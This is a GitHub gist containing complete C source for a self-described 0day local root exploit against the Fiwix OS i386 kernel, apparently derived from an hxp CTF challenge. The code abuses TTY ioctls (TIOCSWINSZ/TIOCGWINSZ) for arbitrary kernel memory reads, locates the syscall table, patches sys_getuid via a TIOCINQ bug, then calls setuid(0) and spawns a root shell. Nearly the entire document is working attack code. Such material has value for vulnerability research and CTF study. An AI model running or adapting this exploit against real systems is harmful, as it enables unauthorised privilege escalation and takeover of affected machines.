Skip to content

Instantly share code, notes, and snippets.

@blasty
Created January 1, 2026 21:34
Show Gist options
  • Select an option

  • Save blasty/8bdda87758fd18c873534f0c3d7c5d49 to your computer and use it in GitHub Desktop.

Select an option

Save blasty/8bdda87758fd18c873534f0c3d7c5d49 to your computer and use it in GitHub Desktop.
/*
* blasty-vs-fiwix.c -- by blasty <peter@haxx.in>
*
* 0day exploit for Fiwix OS i386 (tested on Fiwix 1.7.0)
*
* THEY HAVE PLAYED US FOR ABSOLUTE FOOLS!
* DO NOT TRUST SMALL UNIX-LIKE KERNELS!
*
* Fiwix OS has multiple TTY ioctl vulnerabilities that allow
* arbitrary kernel memory read and write.
*
* this exploit abuses TIOCGWINSZ ioctl to get arb read of kernel memory,
* then locates the syscall table, finds sys_getuid, and patches it in-memory
* using a bug in TIOCINQ ioctl to gain uid0, w00t w00t!
* (note: original CTF challenge didn't require infoleak, I added it for funz)
*
* greetz fly out to:
* - the Fiwix devs for writing a small UNIX-like kernel from scratcih
* - hxp CTF organizers for hosting a fun CTF event during 39c3 ;)
* - Andy Tanenbaum
*
* -- blasty
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <termios.h>
#define KERNEL_BASE 0xc0100000
#define TIOCGWINSZ 0x5413
#define TIOCSWINSZ 0x5414
#define TIOCINQ 0x541B
int is_kernel_addr(uint32_t addr)
{
return (addr >= KERNEL_BASE && addr < (KERNEL_BASE + 0x00100000));
}
int arb_read(uint32_t addr, uint8_t *out_buf, int len)
{
struct winsize leaked_data;
int fd = open("/dev/tty", O_RDWR);
if (fd < 0)
{
return -1;
}
if (ioctl(fd, TIOCSWINSZ, addr) < 0)
{
close(fd);
return -2;
}
if (ioctl(fd, TIOCGWINSZ, &leaked_data) != 0)
{
close(fd);
return -3;
}
memcpy(out_buf, (void *)&leaked_data, (len < 8) ? len : 8);
close(fd);
return 0;
}
int hax(uint32_t addr)
{
int fd = open("/dev/tty", O_RDWR);
if (fd < 0)
return -1;
if (ioctl(fd, TIOCINQ, addr) < 0)
return -2;
close(fd);
}
uint32_t read32(uint32_t addr)
{
uint8_t buf[4] = {0};
arb_read(addr, buf, 4);
return *(uint32_t *)buf;
}
int is_syscall_table(uint32_t addr)
{
for (int j = 0; j < 27; j++)
{
uint32_t val = read32(addr + j * 4);
if ((j == 0 || j == 17 || j == 26))
{
if (val != 0)
return 0;
}
else if (!is_kernel_addr(val))
return 0;
}
return 1;
}
uint32_t find_syscall_table()
{
for (uint32_t addr = KERNEL_BASE; addr < KERNEL_BASE + 0x00100000; addr += 4)
{
if (is_syscall_table(addr))
return addr;
}
return 0;
}
int main(int argc, char *argv[])
{
printf("\n\n** Fiwix TTY ioctl exploit by blasty <peter@haxx.in>**\n\n");
printf("[*] locating syscall table..\n");
uint32_t syscall_table = find_syscall_table();
if (syscall_table == 0)
{
printf("[-] Could not find syscall table\n");
return EXIT_FAILURE;
}
printf("[+] syscall_table = 0x%08X\n", syscall_table);
uint32_t sys_getuid = read32(syscall_table + 0x17 * 4);
printf("[+] sys_getuid = 0x%08X\n", sys_getuid);
int stomp[] = {0xb, 0xf, 0x11, -1};
for (int i = 0; stomp[i] != -1; i++)
{
printf("[i] stomping 0x%X\n", sys_getuid + stomp[i]);
if (hax(sys_getuid + stomp[i]) < 0)
{
perror("hax");
exit(EXIT_FAILURE);
}
}
printf("[?] getting root..\n");
setuid(0);
if (getuid() != 0)
{
fprintf(stderr, "Failed to get root!\n");
exit(EXIT_FAILURE);
}
char *a_argv[] = {"sh", NULL};
char *a_envp[] = {"PATH=/bin:/sbin:/usr/bin:/usr/sbin", NULL};
printf("[!] bl1ng bl1ng, w3 g0t it!\n");
execve("/bin/sh", a_argv, a_envp);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment